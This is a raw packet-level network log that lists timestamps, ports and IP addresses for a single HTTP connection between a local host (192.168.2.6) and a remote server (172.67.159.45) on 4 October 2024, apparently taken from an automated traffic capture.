Oct 4, 2024 04:28:04.406676054 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.406714916 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.485698938 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.485723972 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.485764980 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.485774994 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.485786915 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.485790014 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.485821009 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.485831976 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.485842943 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.485848904 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.485876083 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.485888004 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.485894918 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.485927105 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.485951900 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.485963106 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.485970020 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.485980034 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.486005068 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.486023903 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.486032963 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.486044884 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.486088037 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.494025946 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.494062901 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.494071007 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.494116068 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.494129896 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.494129896 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.494141102 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.494151115 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.494160891 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.494172096 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.494173050 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.494204044 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.494232893 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.494832039 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.494848967 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.494858027 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.494883060 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.494903088 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.494926929 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.494937897 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.494960070 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.494968891 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.494980097 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.494985104 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.495064020 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.495076895 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.495088100 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.495100021 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.495100021 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.495121956 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.495121956 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.495132923 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.495143890 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.495170116 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.495171070 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.495181084 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.495188951 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.495217085 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.495227098 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.495238066 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.495246887 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.495265961 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.495285034 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.495354891 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.495366096 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.495374918 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.495392084 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.495404005 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.495403051 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.495412111 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.495429993 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.495456934 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.495457888 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.495467901 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.495479107 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.495490074 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.495507956 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.495527029 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.495595932 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.495606899 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.495616913 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.495628119 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.495639086 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.495644093 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.495663881 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.495675087 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.495691061 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.495702028 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.495742083 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.495749950 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.495769024 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.495776892 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.495806932 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.495820045 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.495837927 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.495850086 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.495860100 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.495871067 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.495882034 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.495898962 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.495925903 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.496043921 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.496054888 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.496066093 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.496076107 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.496085882 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.496095896 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.496107101 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.496118069 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.496129036 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.496138096 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.496139050 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.496139050 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.496149063 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.496160984 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.496174097 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.496201992 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.496227980 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.496238947 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.496249914 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.496260881 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.496280909 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.496292114 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.496377945 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.496388912 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.496395111 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.496401072 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.496407032 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.496413946 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.496460915 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.496565104 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.496581078 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.496591091 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.496599913 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.496608973 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.496609926 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.496620893 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.496630907 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.496632099 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.496643066 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.496653080 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.496659994 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.496664047 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.496674061 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.496689081 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.496700048 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.496717930 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.496954918 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.496963978 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.496969938 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.497005939 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.497033119 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.497044086 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.497054100 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.497065067 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.497083902 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.497096062 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.497122049 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.497145891 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.497157097 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.497176886 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.497186899 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.497193098 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.497198105 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.497217894 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.497241020 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.497253895 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.497265100 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.497276068 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.497283936 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.497304916 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.497327089 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.499114037 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.499124050 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.499167919 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.499178886 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.499188900 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.499192953 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.499202967 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.499236107 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.499258041 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.499268055 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.499279022 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.499304056 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.499306917 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.499320984 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.499351025 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.578226089 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.578289032 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.578296900 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.578299999 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.578336954 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.578366041 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.578377008 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.578386068 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.578418970 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.578440905 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.578495979 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.578505993 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.578515053 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.578525066 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.578548908 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.578583002 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.578614950 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.578624964 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.578634024 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.578643084 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.578655958 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.578671932 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.578696966 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.586445093 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.586489916 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.586497068 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.586500883 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.586539030 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.586556911 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.586568117 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.586575985 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.586585999 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.586602926 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.586607933 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.586630106 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.586651087 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.587304115 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.587335110 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.587344885 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.587362051 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.587389946 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.587399960 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.587418079 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.587429047 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.587436914 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.587469101 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.587496996 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.587522030 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.587543964 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.587553978 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.587563992 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.587568998 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.587574005 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.587584019 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.587587118 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.587608099 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.587632895 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.587636948 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.587646008 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.587673903 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.587693930 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.587694883 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.587704897 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.587742090 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.587832928 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.587842941 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.587852001 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.587861061 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.587871075 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.587878942 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.587878942 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.587905884 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.587908030 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.587930918 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.587958097 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.587958097 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.587968111 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.587976933 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.588006973 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.588037968 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.588104963 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.588114023 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.588123083 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.588130951 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.588140011 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.588149071 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.588157892 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.588161945 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.588196993 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.588216066 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.588258028 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.588330030 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.588339090 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.588346958 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.588356972 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.588366032 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.588373899 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.588376045 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.588391066 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.588408947 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.588435888 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.588459015 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.588469028 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.588541031 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.588563919 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.588573933 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.588582039 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.588603020 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.588612080 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.588620901 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.588639021 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.588648081 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.588731050 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.588740110 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.588749886 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.588759899 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.588788033 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.588813066 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.588835955 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.588844061 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.588852882 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.588862896 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.588886023 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.588922977 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.588957071 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.588965893 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.588974953 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.588984966 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.588994980 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.589004040 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.589004993 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.589032888 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.589056015 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.589159966 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.589169979 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.589179039 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.589188099 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.589196920 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.589206934 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.589210033 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.589216948 CEST	80	49740	172.67.159.45	192.168.2.6
